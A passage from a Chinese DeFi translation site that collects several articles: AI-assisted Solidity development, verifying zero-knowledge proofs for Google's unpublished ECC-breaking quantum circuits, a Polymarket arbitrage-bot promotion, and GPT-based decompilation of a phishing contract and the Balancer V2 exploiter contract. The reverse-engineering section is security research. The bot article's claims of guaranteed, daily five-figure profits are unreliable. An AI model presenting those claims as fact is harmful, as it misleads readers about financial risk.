        _swapCrossChain(tokenIn, tokenOut, amount, dstChainId, payload);
    }
}

这个抽象看起来很简洁。但很快我就会意识到，确保这两条路径的正确性完全是另一回事。

2、18小时的现实检验

一个这种规模的系统通常需要经验丰富的区块链工程师80到150小时才能搞定。这包括推理消息顺序、追踪边缘案例，以及处理分布式状态幽灵。使用Claude Code，配合完整的代码库上下文，我在大约18小时内就完成了端到端的构建。

让我描述一下在第14小时左右击中我的现实检验。是的，代码写完了，但我突然感受到一种沉重的认知负担——推理完全落在我的肩上。我感觉自己有一个高速打字员，可以以光速输出Solidity代码，但根本上不理解他们正在构建的世界的物理规律。

当我开始审计流程时，我发现了26个关键问题。我们谈论的是低效的状态更新、对非标准ERC20代币的灾难性假设、薄弱的访问控制，以及完全搞砸的跨链失败状态。每一个问题都需要手动检查、对跨链状态转换的显式推理，以及有针对性的修复。这是一个清醒的时刻。AI压缩了打字时间，但它并没有简化问题。

3、"高速打字员"表现出色的地方

公平地说，Claude在确定性任务的执行层表现出色。它快速完成了搭建继承结构和设置OpenZeppelin库的工作。如果我需要安全代币转账的标准实现或解码复杂载荷调用数据，它都能完美交付。

using SafeERC20 for IERC20;

function _safeTransfer(address token, address to, uint256 amount) internal {
    IERC20(token).safeTransfer(to, amount);
}
function _decodePayload(bytes calldata payload)
    internal
    pure
    returns (address token, uint256 amount)
{
    return abi.decode(payload, (address, uint256));
}

对于零歧义的明确定义问题，AI是一个强大的工具。它出色地处理这些局部的、有界约束的问题。

4、挣扎：我的提示词进化

我的整个工作流程依赖Claude Code，而我遇到的最大的摩擦点是我自己的提示词的进化。我一开始很随意，抛出一些以实现为驱动的指令，比如"写一个LayerZero接收合约"，或"实现跨链兑换逻辑"。Claude照做了，快速吐出了功能代码。但它非常脆弱。它针对的是完成提示，而不是在主网上存活。

当我撞上一堵巨大的墙时，Claude完全遗漏了一个fee-on-transfer边缘案例，这个案例最终会让我们的金库失血。我意识到我的提示词必须进化成严格的系统级指令。我不再要求"一个路由"，而是开始要求"在实现这个时假设跨链消息传递会被延迟、重新排序或完全失败。使用消息标识符确保幂等执行，并处理非标准rebase代币。"这种转变大大改善了输出，但它证明了一个根本性的限制。Claude对约束反应良好，但它不能独立推断它们。它缺乏对系统的全局理解，所以它的初始修复总是局部的而非架构性的。

5、逻辑崩溃的地方

当问题从编写孤立函数转向定义系统行为时，真正的局限性显露无遗。AI根本没有模拟跨链失败场景。它在应该使用内存时默认使用存储写入，生成不完整的访问边界，并完全忽略幂等性。

例如，Claude最初生成了一个非常天真的LayerZero接收器：

function lzReceive(...) external {
    _execute(payload);
}

我不得不强制它将执行包装在try/catch块中，以确保单个失败的消息不会永久阻塞通道：

mapping(bytes32 => bool) public processed;

function lzReceive(bytes32 messageId, bytes calldata payload) external {
    require(!processed[messageId], "Already processed");

    try this._execute(payload) {
        processed[messageId] = true;
    } catch {
        // 存储以供重试或手动干预
    }
}

同样，它完全忽略了fee-on-transfer机制，假设amountIn总是等于amountReceived。我必须手动强制执行正确的记账：

uint256 balanceBefore = IERC20(token).balanceOf(address(this));
IERC20(token).transferFrom(msg.sender, address(this), amount);
uint256 balanceAfter = IERC20(token).balanceOf(address(this));

uint256 actualReceived = balanceAfter - balanceBefore;

这些不是可选的重构。它们是协议正确性的生存要求。AI就是看不到它们。

6、前端的对账混乱

复杂性不会在EVM边界处停止。在跨链系统中，前端不仅仅是一个闪亮的表现层。它是一个疯狂的状态对账引擎。它必须追踪跨链的交易生命周期，而没有任何确定性的完成保证。我必须显式地建模：

type CrossChainTxState =
    | { status: "INITIATED"; txHash: string }
    | { status: "SOURCE_CONFIRMED"; blockNumber: number }
    | { status: "MESSAGE_DISPATCHED"; messageId: string }
    | { status: "IN_FLIGHT"; relayer: string }
    | { status: "DEST_EXECUTED"; destTxHash: string }
    | { status: "FAILED"; reason: string };

我最终构建了一个强大的轮询装置来查询源链、中继器和目标链，只是为了防止UI在飞行中继期间对用户撒谎：

async function trackCrossChainTx(txHash: string) {
    const sourceTx = await sourceProvider.getTransactionReceipt(txHash);
    if (!sourceTx) return { status: "INITIATED" };

    const messageId = extractMessageId(sourceTx.logs);
    const relayStatus = await relayerApi.getStatus(messageId);

    if (relayStatus === "PENDING") {
        return { status: "IN_FLIGHT" };
    }

    if (relayStatus === "DELIVERED") {
        const destTx = await destProvider.getTransaction(relayStatus.destTxHash);
        return { status: "DEST_EXECUTED", destTxHash: destTx.hash };
    }

    return { status: "FAILED", reason: relayStatus.error };
}

如果你搞错了这个分布式状态追踪，你会瞬间失去用户信任，无论你的智能合约多么完美。

7、安全需要意图

归根结底，安全需要对抗性意图。AI可以给你一个完美的重放保护修饰符。

mapping(bytes32 => bool) public executed;

function execute(bytes32 txId) external {
    require(!executed[txId], "Replay detected");
    executed[txId] = true;
}

实现很简单，但AI根本不知道这个模式应该放在哪里。识别跨合约边界的攻击面以及推理信任假设仍然完全是人类的工作。AI减少了产生工作代码的时间，但它没有减少让代码可靠所需的哪怕一分钟时间。

8、我的收获：向系统架构师的转变

当我终于在那艰苦的18小时冲刺后离开我的IDE时，我带着一个来之不易的教训离开。这个实验证明，我们的工作正在深刻改变。AI消除了编写代码的摩擦，但它极大地放大了系统设计的重要性。

我的角色从"逻辑实现者"大幅转变为"系统架构师"。我不再只是在写代码了。我在积极验证假设，并在能够打字快但无法提前思考的机器上强制执行架构边界。如果你在DeFi或任何高风险分布式环境中构建，AI会让你变得更快。但正确性的负担仍然完全落在你肩上。

原文链接: From 150 Hours to 18: How AI Helped Me Build a Cross-Chain DeFi Protocol 8x Faster

DefiPlot翻译整理，转载请标明出处

我写这篇文章的主要动机是帮助读者理解如何解读量子计算领域的论文，特别是随着该领域变得更加主流，各种耸人听闻的说法广泛传播时。

在一份新的白皮书中，Google量子AI、斯坦福大学和以太坊基金会的研究人员开发了更小、资源消耗更少的量子电路，即运行在量子计算机上的程序，能够破解椭圆曲线密码学(ECC)。

解决256位椭圆曲线离散对数问题（椭圆曲线密码学ECC的数学基础）所需的逻辑量子比特（量子计算单元）和Toffoli门（计算操作）数量的对比。Google量子AI团队提出的电路在一个设计中减少了84%的逻辑量子比特，在另一个设计中大约减少了73%的门数量。白皮书第8页。

这很重要，因为现在估计在功能较弱的量子计算机上运行较少的时间就能破解ECC，这是一种广泛使用的加密方案，保护着互联网和数字协议的大部分内容。

同样值得注意的是，研究团队没有公开发布量子电路，而是使用了零知识证明来验证电路而不披露其内容。

零知识证明（zk证明）是一种密码学方法，一方可以向另一方证明某件事是真实的，而无需透露任何信息。

那么我们如何验证这些量子电路确实存在呢？

本文解释了这些电路，并专注于回答这个确切的问题：如何独立验证这些zk证明，并确认这些"私有"量子电路确实存在。

1、为什么要使用零知识证明

业界领袖强调越来越多地使用zk证明来保护重要的量子电路，强调理解和验证它们的必要性。

这暗示了一个新兴趋势：研究人员希望将电路商业化，或者将其保密，或者面临政府压力要求不向恶意行为者公开。

白皮书指出他们不会公开发布电路，这与以前的研究人员不同，因为一旦实用的量子计算机可用，恶意行为者可能会利用它们：

然而，详细的密码分析蓝图可能被敌对行为者武器化的风险不断升级，这 necessitates 改变披露做法。

Justin Drake，白皮书合著者、以太坊基金会研究员，暗示更有价值、更重要的电路将保持未发布状态：

从现在起，假设最先进的算法将被审查。可能出于道德或商业原因进行自我审查，或因为政府压力。学术出版物的 blackout 将是一个明显的迹象。

Nic Carter，比特币主要投资者、Castle Island Ventures联合创始人，将zk证明的使用比作原子弹开发过程中核研究的保密：

这[使用零知识证明隐藏Google量子AI的量子电路]让人想起原子弹开发前物理学界发生的事情。1940年，美国国家科学院自愿采用了自我审查制度。一旦曼哈顿计划开始，所有正式出版物都停止了。1945年7月，第一颗裂变炸弹在新墨西哥州白沙导弹靶场引爆。

随着更多研究人员采用zk证明来隐藏但"证明"特定量子电路的存在，理解如何验证它们变得至关重要。

2、Google的量子电路意味着什么

Google量子AI研究人员提供了两个能够破解ECC的量子电路的元数据。

如果一个电路能够解决9,024个具有不同起始点输入的椭圆曲线点加法问题，则被认为能够破解ECC。

给定椭圆曲线上的两个起始点P和Q，电路可以找到第三个点(-R)，其中通过P和Q的直线与曲线相交。然后，它通过将点(-R)沿x轴反射来计算点R。R被表示为P和Q的和或加法。

用更直接的数学术语来说：

在椭圆曲线secp256k1[比特币使用的椭圆曲线类型]上正确计算所有9,024个伪随机输入的点加法，这些输入是确定性地从电路自身的哈希值派生出来的

计算点R的示例。在椭圆曲线中，通过两点（P和Q）的直线总是与曲线再次相交于第三个（也是唯一第三个）点（R）。通过将点(-R)沿x轴反射来计算点R，得到R = P + Q。来源：NordPass

大多数椭圆曲线不如这个示例那样均匀，对于日常的经典计算机来说，第三个点在哪里并不明显，这使得ECC传统上对于加密数字数据非常安全，如本视频所解释的：

因此，解决9,024个这样的问题并非易事。如Google量子AI研究人员声称的那样，能够解决9,024个实例的量子电路表明它能够可靠地执行完整ECC攻击所需的椭圆曲线运算。

Google量子AI提供了满足此标准的两个电路的详细信息；每个电路针对不同的目标进行了优化。

1. 第一种方法使用更少的量子比特，或量子计算单元，使其更适合硬件限制。
2. 第二种使用更少的门或计算操作，使其更适合运行时性能。

拥有针对不同目标优化的两个电路允许它们在更适合特定任务（如硬件或性能）的各种类型的量子计算机上运行。

3、电路元数据

尽管这些量子电路比其他能够破解ECC的电路需要的资源少70-80%，但它们仍然太大而无法作为程序在量子计算机上运行。它们的性能仍然基于理论假设，尽管不应该被忽视。

显示破解RSA-2048（一种流行的加密方案）所需估计值的图表，作为物理量子比特数量（左）的函数，即用于保护逻辑量子比特的原始硬件量子比特，以及[Toffoli门](http://A graph showing the published estimates needed to break RSA-2048, a popular cryptographic scheme, with the number of physical qubits (left) and number of Toffoli Gates (right).)数量（右），特定的量子逻辑操作。白皮书第10页。

电路元数据包括非Clifford门的数量，即通用量子计算所需的操作，以及逻辑量子比特的数量，即在被许多周围物理量子比特保护免受噪声和错误的同时执行计算的量子比特。

具有更少量子比特的量子电路，或"低量子比特量子电路"，包括：

• 2,700,000个非Clifford门
• 1,175个逻辑量子比特

具有更少门的量子电路，或"低门数量子电路"，包括：

• 2,100,000个非Clifford门
• 1,425个逻辑量子比特

4、验证元数据

零知识证明是如何创建的

为每个量子电路生成了一个零知识证明，产生了三个用于验证其元数据的标识符。

以下是白皮书中提出的低量子比特量子电路的标识符：

Circuit SHA-256 Hash:
0xcc8f532ffea1583ceed3c9af75de3263ebaddd5fdf3cddfb3dea848b94d0396a

Verification Key:
0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4

Groth16 Proof Bytes:
0x0e78f4db0000000000000000000000000000000000000000000000000000000000000000008cd56e10c2fe24795cff1e1d1f40d3a
324528d315674da45d26afb376e86700000000000000000000000000000000000000000000000000000000000000000215c7fe4fc59
7b861d82370ab556684ae36e98cf073e7f754f2788ad58721dbd012927516f316e7b4f3effb1dbd567732611cb0334f2d75e529c5e3
becd0629c17605c7ff87c6f23324328744454bdec0df425a4a63e3358c10079c85ef757412ae86ae1f85bf47ef6980852d6f65423be
2d90adb5b29896493324128b1cda0a0042f7138c850a1ca441210ba770a2eee39d56f6f90bf68b7a346e1658c6529715334621b6e1a
63b85875b8c8a610e0d885662879755803027dad57d97140afb2498bbb63215b236575f95b0019f2b9713bc810e1e044d47ab360e92
b899c46512fc97460609186bf1fe01c892a8015fb00e7fdea11b08f88c6adb79b1243518

以及低门数量子电路的标识符：

Circuit SHA-256 Hash:
0x24f5758f2216aa87aa2806af32a0db788767b873cf6869510cca3d893b3f8a69

Groth16 Proof (Hex):
0x0e78f4db0000000000000000000000000000000000000000000000000000000000000000008cd56e10c2fe24795cff1e1d1f40d3a
324528d315674da45d26afb376e867000000000000000000000000000000000000000000000000000000000000000000a11fe07d3af
e9d5e9b5af9fdb37fc38bd529d09b92e08350556a3a38ad03f1b2ed337741ecfeae1a65849d1927cdfc3ea4d211734cd747fc4a5534
449ebfd1e2130fde87661e0e0fba6ec2055c130d875c7fa3358e25e2236e928520eddfa992a9e6510d0635161c62e0e29f4c28921f5
6126a908b286c4d910089780441a5811799d5c7dbf293ac3e6d5f51267efbf95cf8643cb28c5f7c2bac8ee9d4b55c830475b328ff9f
9b257f2383e7934aaab12616e04645bf6a2b9820cafba4fd3830655d676b7ff376817bbd18a178cf091ad4f4e53b2e322a1d75b3e14
00d9b66e1feb401eae0df274d7a774f0bd2fc471ce574348daeaac3ee288dcd282456a33

Verification Key:
0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4

电路SHA-256哈希

首先，研究人员为每个电路创建了电路SHA-256哈希。

包含量子电路代码的KMX文件使用SHA-256函数转换为"哈希"或唯一的66字符字符串。SHA-256哈希不容易被反向破解以显示原始文本。

Groth16证明字节和验证密钥

然后，研究人员创建了一个ELF二进制文件，即零知识证明需要"证明"或验证的规则列表。

ELF二进制文件是一个RISC-V程序，用汇编语言或C/C++编写，代码必须反映如下示例陈述，以证明量子电路存在：

零知识证明陈述1（低量子比特变体）

我们拥有一个量子kickmix电路C低量子比特（通过其加密哈希唯一承诺），资源计数最多为：

2,700,000个非Clifford门（CCX + CCZ）

1,175个逻辑量子比特

17,000,000次总操作

在椭圆曲线secp256k1上正确计算所有9,024个伪随机输入的点加法，这些输入是确定性地从电路自身的哈希派生出来的。

这引入了一个重要的信任假设。读者必须相信研究人员创建了一个诚实和准确的ELF二进制文件，因为电路是隐藏的。独立审计ELF二进制文件至关重要，但目前尚未进行（尽管我自己考虑过做一个；可以使用Ghidra等工具评估ELF二进制文件）。

然后，研究人员使用ELF二进制文件和电路来验证电路是否满足ELF二进制文件中指定的所有规则。

研究人员会在SP1零知识虚拟机(zkVM)中运行ELF二进制文件，并将电路作为其输入，这是一个由Succinct Labs开发的沙盒计算环境，执行指令（如ELF二进制文件中的指令），验证计算，并在验证后生成零知识密码学证明。

在这种情况下，首先，zkEVM处理ELF二进制文件并将其哈希以创建验证密钥。

然后，zkVM按照ELF二进制文件指令检查电路是否正确计算了所有9,024个测试输入的椭圆曲线点加法。

验证后，zkEVM生成一个STARK证明，一个（是的，后量子安全）密码学字符串，确认验证并可与验证密钥和ELF二进制文件交叉检查。

原始STARK证明相对较大且验证较慢，因此它被压缩为**Groth16证明字节**，这是一种SNARK（另一类零知识证明）的版本，更小且验证成本更低。

任何人都可以使用Groth16证明字节和验证密钥在第2步中在毫秒内验证结果，无需原始电路、重新计算或信任研究人员。

5、如何独立验证证明

验证证明的最简单方法是使用公共Zenodo档案中提供的标识符和验证程序，这是一个用于研究和数据的通用开放存储库，可在任何典型计算机上使用。我在Mac笔记本电脑上运行了即将介绍的终端命令。

验证证明确认存在满足ELF二进制文件中定义的要求的量子电路。这些要求是解决9,024个椭圆曲线加法问题，在Google量子AI白皮书中描述的低量子比特和低门数量子电路指定的资源限制内。

它不能确认量子电路已成功在量子计算机上执行（事实并非如此），也不能确认ELF二进制文件本身包含正确的验证逻辑。

第1步：从提供的Zenodo档案下载zkp_ecc_zenodo.zip并解压。

目录结构应包含：

zkp_ecc_zenodo/
├── verifier/
│ ├── verifier.rs ← 验证程序
│ └── Cargo.toml ← 其依赖项
├── proofs/
│ ├── zkp_ecc-program ← ELF二进制文件
│ ├── vkey.bin ← 验证密钥
│ ├── low_qubits/
│ │ └── proof_9024.bin ← 低量子比特电路的证明
│ └── low_toffoli/
│ └── proof_9024.bin ← 低门数量子电路的证明
└── run_proofs.sh ← 用于重新生成证明的脚本（需要GPU）

五个最重要的文件是：

• proofs/zkp_ecc-program：ELF二进制文件
• proofs/vkey.bin：验证密钥
• proofs/low_qubits/proof_9024.bin：低量子比特电路的Groth16证明字节
• proofs/low_toffoli/proof_9024.bin：低门数量子电路的Groth16证明字节
• verifier.rs：验证程序，将在以下章节中进一步解释

第2步：安装依赖项

验证器是用Rust编写的，依赖于SP1 SDK，后者依赖于protobus作为其数据序列化格式。

brew install protobuf

第3步：查看verifier.rs，验证程序

验证程序位于verifier/verifier.rs，确认zk证明对应于验证逻辑的有效执行。

换句话说，它验证电路是否按照ELF二进制文件进行了评估，并满足量子电路声称的规范，如"零知识证明是如何创建的"部分所解释的。

它通过根据验证密钥检查Groth16证明字节来实现这一点，验证密钥是ELF二进制文件约束的压缩表示。

首先，它读取验证密钥：

let vk_bytes = std::fs::read(&vkey_path).expect("failed to read vkey file");

然后，它加载Groth16证明字节：

let mut proof = SP1ProofWithPublicValues::load(&args.proof).expect("failed to load proof");

它使用SP1 SDK根据验证密钥验证证明。

client.verify(&proof, &vk, None).expect("failed to verify proof");

如果验证成功，它将返回如第5步所示的输出。

第4步：运行验证器

一旦理解了验证逻辑，就可以执行程序来检查证明。

验证程序需要两个输入：Groth16证明字节和特定电路的验证密钥。

低量子比特电路

对于低量子比特电路，Groth16证明字节存储在proofs/low_qubits/proof_9024.bin中。在zkp_ecc_zenodo文件夹中运行以下命令以验证低量子比特电路：

RUST_LOG=info cargo run --release -p verifier -- \
--proof proofs/low_qubits/proof_9024.bin \
--vkey proofs/vkey.bin

低门数量子电路

对于低量子比特电路，Groth16证明字节存储在proofs/low_toffoli/proof_9024.bin中。在zkp_ecc_zenodo文件夹中运行以下命令以验证低门数量子电路：

RUST_LOG=info cargo run --release -p verifier -- \
--proof proofs/low_toffoli/proof_9024.bin \
--vkey proofs/vkey.bin

第5步：查看输出

如果验证成功，验证程序确认zk证明对应于验证逻辑的有效执行并返回输出。

输出应匹配每个电路提供的元数据。

✅ 低量子比特电路：

• 电路SHA-256哈希 / 电路哈希承诺：0xcc8f532ffea1583ceed3c9af75de3263ebaddd5fdf3cddfb3dea848b94d0396a
• 验证密钥 / 验证密钥（十六进制））：0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4
• 非Clifford门 / 要求的平均非Clifford计数：2,700,000
• 逻辑量子比特计数 / 要求的量子比特计数：1,175个逻辑量子比特

输出：

Verifying Key (Hex): 0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4
Proof (Hex): 0x0e78f4db0000000000000000000000000000000000000000000000000000000000000000008cd56e10c2fe24795cff1e1d1f40d3a324528d315674da45d26afb376e86700000000000000000000000000000000000000000000000000000000000000000215c7fe4fc597b861d82370ab556684ae36e98cf073e7f754f2788ad58721dbd012927516f316e7b4f3effb1dbd567732611cb0334f2d75e529c5e3becd0629c17605c7ff87c6f23324328744454bdec0df425a4a63e3358c10079c85ef757412ae86ae1f85bf47ef6980852d6f65423be2d90adb5b29896493324128b1cda0a0042f7138c850a1ca441210ba770a2eee39d56f6f90bf68b7a346e1658c6529715334621b6e1a63b85875b8c8a610e0d885662879755803027dad57d97140afb2498bbb63215b236575f95b0019f2b9713bc810e1e044d47ab360e92b899c46512fc97460609186bf1fe01c892a8015fb00e7fdea11b08f88c6adb79b1243518
Successfully verified Groth16 SNARK proof.
Circuit hash commitment: 0xcc8f532ffea1583ceed3c9af75de3263ebaddd5fdf3cddfb3dea848b94d0396a
Demanded Number of tests: 9024
Demanded Qubit count: 1175
Demanded Average non-Clifford count: 2700000
Demanded Total ops: 17000000

✅ 低门数量子电路：

• 电路SHA-256哈希 / 电路哈希承诺： 0x24f5758f2216aa87aa2806af32a0db788767b873cf6869510cca3d893b3f8a69
• 验证密钥 / 验证密钥（十六进制）： 0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4
• 非Clifford门 / 要求的平均非Clifford计数：2,100,000
• 逻辑量子比特计数 / 要求的量子比特计数：1,425个逻辑量子比特

输出：

Verifying Key (Hex): 0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4
Proof (Hex): 0x0e78f4db0000000000000000000000000000000000000000000000000000000000000000008cd56e10c2fe24795cff1e1d1f40d3a324528d315674da45d26afb376e867000000000000000000000000000000000000000000000000000000000000000000a11fe07d3afe9d5e9b5af9fdb37fc38bd529d09b92e08350556a3a38ad03f1b2ed337741ecfeae1a65849d1927cdfc3ea4d211734cd747fc4a5534449ebfd1e2130fde87661e0e0fba6ec2055c130d875c7fa3358e25e2236e928520eddfa992a9e6510d0635161c62e0e29f4c28921f56126a908b286c4d910089780441a5811799d5c7dbf293ac3e6d5f51267efbf95cf8643cb28c5f7c2bac8ee9d4b55c830475b328ff9f9b257f2383e7934aaab12616e04645bf6a2b9820cafba4fd3830655d676b7ff376817bbd18a178cf091ad4f4e53b2e322a1d75b3e1400d9b66e1feb401eae0df274d7a774f0bd2fc471ce574348daeaac3ee288dcd282456a33
Successfully verified Groth16 SNARK proof.
Circuit hash commitment: 0x24f5758f2216aa87aa2806af32a0db788767b873cf6869510cca3d893b3f8a69
Demanded Number of tests: 9024
Demanded Qubit count: 1425
Demanded Average non-Clifford count: 2100000
Demanded Total ops: 17000000

6、结束语

Google量子AI研究人员开发了能够破解ECC的量子电路，这些电路未公开发布，但可以使用零知识证明进行验证。

研究人员可能越来越依赖zk证明来商业化电路、防止滥用，或响应政府压力，同时仍然公开证明他们取得了突破。

运行验证器确认存在满足证明中承诺的陈述的量子电路。然而，它不能确认量子电路是否曾在量子计算机上成功运行，或者ELF二进制文件本身是否包含正确的验证逻辑。

随着更多研究人员使用零知识证明来支持关于未公开量子电路的主张，对证明的独立验证和审计将变得越来越重要。

原文链接: How zero-knowledge proofs make quantum circuits "private"

DefiPlot 翻译整理，转载请标明出处

编程小白又怎样？这正是关键所在。只需 5 分钟。

你无需成为程序员即可启动交易机器人。

虽然 GPT 可能会派上用场。

不确定？

@noisyb0y1 - 传奇人物

最初，我们需要 Claude，它可以：

编写 Python 机器人
连接到 Polymarket API
通过 WebSocket 连接到交易所

你让 Claude 编写机器人。

在代码中，机器人使用 OpenClaw SDK（用于跟踪实时数据）。

你来制定任务（例如，一个套利机器人）：

“兄弟，做一个机器人，追踪比特币价格，在 Polymarket 上寻找套利机会，并自动开仓买入价格低于 1 美元的买卖双方（上涨 + 下跌）。”

显然，最好尽可能详细清晰地描述任务要求。

你得到一个可运行的框架。

接下来，将其部署到服务器上，并用少量资金进行测试。

代码本身只是一个工具，利润来自当买入价格 + 下跌价格 < 1 美元时的套利。

任何二元期权市场都遵循这样的运作方式：买入价格 + 下跌价格 = 1 美元（是 + 否）。

如果在任何时候你都能以低于 1 美元的价格买入买入，那么到期时就能保证盈利。

例如：上涨 = 0.48 |下跌 = 0.49

0.48 + 0.49 = 0.97

买入正反两方 -> 结算时收到 1 美元 -> +3%

OpenClaw 的作用：

连接到 API 后，它可与 Polymarket 和交易所的订单簿配合使用。

实时追踪交易所的 BTC 价格
当交易所价格出现剧烈波动时，它会在 Polymarket 上做出反应
立即下单
该机器人实时监控交易所价格，并在 Polymarket 调整之前对其变化做出反应。

这就是它如何捕捉到上涨 + 下跌 < 1 美元的有效交易窗口。

目前

在 BTC 市场上，5 分钟、15 分钟、24 小时交易机器人（无论是上涨还是下跌）每天可赚取数千甚至数万美元。

许多创建机器人的新账户会用少量资金进行测试，如果发现问题（漏洞），他们会使用 GPT 优化代码，直到达到最佳状态。

原文链接：Create a OpenClaw + Polymarket trading bot without your programming so you never have to work again

DefiPlot翻译整理，转载请标明出处

这源于我听说从纯字节码反编译未经验证的智能合约应该很简单，于是我想探究一下“简单”在实践中究竟意味着什么。

我粘贴了一段原始字节码，并直接向 GPT-5.4 提出了一个问题：

请反编译这段 EVM 字节码

第一个合约很小，感觉就像是热身。紧接着，我粘贴了第二个更大的字节码，然后问道：好的，这个呢？

正是这第二步让整个过程变得有趣起来。它展示了 Balancer V2 上的攻击者合约是什么样子。

1、热身：我交给 LLM 的第一个合约

我开始在 Etherscan 上搜索一些未经验证的合约（没想到现在这么难！），点击了几下后，我发现了一个钓鱼合约，地址是：

https://etherscan.io/address/0xc727eb69ccf89d5911042f21be25a193d67e2c23#code

字节码本身很短，这使得它成为 GPT 处理的第一个完美示例。

GPT 首先查看了调度器，只识别出两个公共选择器：

• 0x13d06a4c
• 0xf851a440

这通常表明合约的范围很窄，没有太多活动部件。

由此，它很快就重构了关键行为：

• 一个函数返回一个硬编码的控制器地址
• 一个函数接受三个数组
• 调用者必须是那个硬编码的控制器
• 数组长度必须匹配
• 循环要么发送 ETH，要么调用 ERC20.transfer(...)，具体取决于代币地址是否为零

这足以将合约重构为一个非常小的、由所有者控制的批量发送器。

用类似 Solidity 的伪代码表示，它基本上是：

pragma solidity ^0.8.21;

interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);
}

contract BatchSenderLike {
    error AuthOrLengthError();   // selector: 0x47556579
    error TransferFailed();      // selector: 0x90b8ec18

    address public constant controller =
        0xc0007d8C810bEce9B3199bb65799145165F9437c;

    receive() external payable {}

    // selector: 0xf851a440
    function getController() external pure returns (address) {
        return controller;
    }

    // selector: 0x13d06a4c
    function batchSend(
        address[] calldata assets,
        address[] calldata recipients,
        uint256[] calldata amounts
    ) external payable {
        if (msg.sender != controller) revert AuthOrLengthError();
        if (
            assets.length != recipients.length ||
            recipients.length != amounts.length
        ) revert AuthOrLengthError();

        for (uint256 i = 0; i < assets.length; i++) {
            if (assets[i] == address(0)) {
                (bool ok, ) = payable(recipients[i]).call{value: amounts[i]}("");
                if (!ok) revert TransferFailed();
            } else {
                (bool ok, bytes memory ret) =
                    assets[i].call(
                        abi.encodeWithSelector(
                            IERC20.transfer.selector,
                            recipients[i],
                            amounts[i]
                        )
                    );

                if (!ok) revert TransferFailed();
                if (ret.length != 0 && !abi.decode(ret, (bool))) {
                    revert TransferFailed();
                }
            }
        }
    }
}

就这样，我们看到了钓鱼合约的批量处理功能，它发送了 28 万笔交易，截至撰写本文时，还有 19 笔交易处于待处理状态。

嗯，这个批量处理功能让我想起了另一件事……

2、第二个字节码片段

第二个字节码是 Balancer 漏洞利用者的合约。

https://etherscan.io/address/0x54b53503c0e2173df29f8da735fbd45ee8aba30d#code

所以我再次将字节码输入提示符并按下回车键。

首先，我输入了字节码，让它识别调度器中的公共选择器。然后，它查找任何具有已知签名匹配的选择器，扫描运行时中的嵌入式字符串（hello 控制台日志），将外部调用映射到已知协议，并检查相关交易，使调用数据不再抽象。

在那之后，我才要求它重构自定义函数。这种顺序至关重要。如果我过早地要求它进行完整解释，那么大部分有趣的部分可能都只是用自信的语言进行的猜测。

3、分析过程中使用的工具

这是我发现最有用的部分之一：没有神奇的“反编译”按钮。GPT 是通过将几个较小的线索叠加起来才得出答案的。

3.1 Etherscan

Etherscan 在整个过程中做了很多繁重的工作。这并非因为它以某种方式为我解释了合约，而是因为它让 GPT 能够在代码、交易、辅助合约和创建流程之间自由切换，而不会丢失上下文。最有用的往往不是代码标签页本身，而是页面之间的关系：辅助合约已经创建完成。被更大的反编译器处理后，提取事务准确地显示了调用了哪个选择器以及调用数据是什么样的。这是原始反编译器本身无法提供的上下文信息，而 GPT 很好地利用了这一点。

3.2 4byte/函数签名数据库

这是整个会话中最快的胜利之一。每当 GPT 遇到一个选择器时，它都会检查是否存在已知的匹配签名。这让我立刻获得了诸如 failed()、IS_TEST()、callTx(address,uint256,bytes)、getPoolId()、getBptIndex()、getScalingFactors()、getRateProviders()、getActualSupply()、getAmplificationParameter()、getSwapFeePercentage()、getRate()、getPoolTokens(bytes32)、getInternalBalance(address,address[])、manageUserBalance(...) 和 batchSwap(...) 等函数的精确名称或高置信度名称。

这彻底改变了问题。我不再面对一个随机的合约。GPT 有效地表明，字节码使用的是一种非常特定的语言，而这种语言就是 Balancer。

模式匹配再次发挥了重要作用……

3.3 运行时嵌入的字符串

这是最有趣的部分之一。字节码中包含一些可读的字符串，例如 Doing Batch、poolRate0、poolRate1、trickAmt、trickRate、trickIndex、nonTrickIndex、currentAmp、startBalancesi、Asset Deltasi 和 Ending Invariant。正是这类线索将逆向工程从抽象的字节码追踪转变为更人性化的工作。

这些字符串告诉我，GPT 也证实了这一点，我可能正在查看一段用于调试的代码，该代码测量某些批处理操作前后速率、余额和与不变式相关的值。即使没有任何公开的漏洞利用报告，这也表明它更像是一个实验工具或攻击协调器，而不是一个普通的生产环境封装程序。

4、利用事件报告

我发现一个特别有趣的地方：如果我假设 Balancer 的公开事后分析不存在，我还能仅从合约、辅助函数和链上跟踪中推断出多少信息？

实际上，信息量相当大。

5、合约不再看似随机的那一刻

在更大的合约中，早期最重要的线索实际上根本不是 Balancer，而是 Foundry。

GPT 发现字节码暴露了一系列选择器，匹配诸如 failed()、IS_TEST()、targetSelectors()、excludeSelectors()、targetContracts()、excludeContracts()、targetArtifacts()、excludeArtifacts()、targetSenders()、excludeSenders() 和 targetInterfaces() 之类的函数。这立即改变了我对合约其余部分的解读。如果我假设这是一个干净的生产部署，我就会将许多辅助函数逻辑误读为业务逻辑。

相反，当合约的三层结构紧密结合时，其逻辑才开始变得清晰起来：一层类似 Foundry 的测试或不变框架，一层由所有者控制的编排层，以及底层更为具体的协议逻辑。

6、然后，Balancer 的调用开始变得清晰起来。

一旦 GPT 映射了外部选择器，合约的逻辑就变得更加清晰了。它读取了池 ID、BPT 指数、缩放因子、费率提供者、实际供应量、放大参数、兑换费用百分比和费率。它还调用了 Vault 方法来获取池代币、读取内部余额、管理用户余额并执行 batchSwap。

这并非通用的 DeFi 底层架构，而是高度特定的行为。即使没有任何公开的漏洞利用信息，仅凭这一点，我就能断言：该合约是专门为检查和操纵 Balancer 池状态而设计的，而不是作为通用的 DeFi 聚合器或钱包工具。

7、辅助合约让一切豁然开朗。

这个较小的辅助合约至关重要，因为它证实了较大的合约并非独立运行。它有两个授权调用者，一个公共选择器 0x524c9e20，对余额和缩放因子数组进行繁琐的算术运算，以及 Balancer 风格的回滚格式化。这看起来完全像是一个数学探测程序。

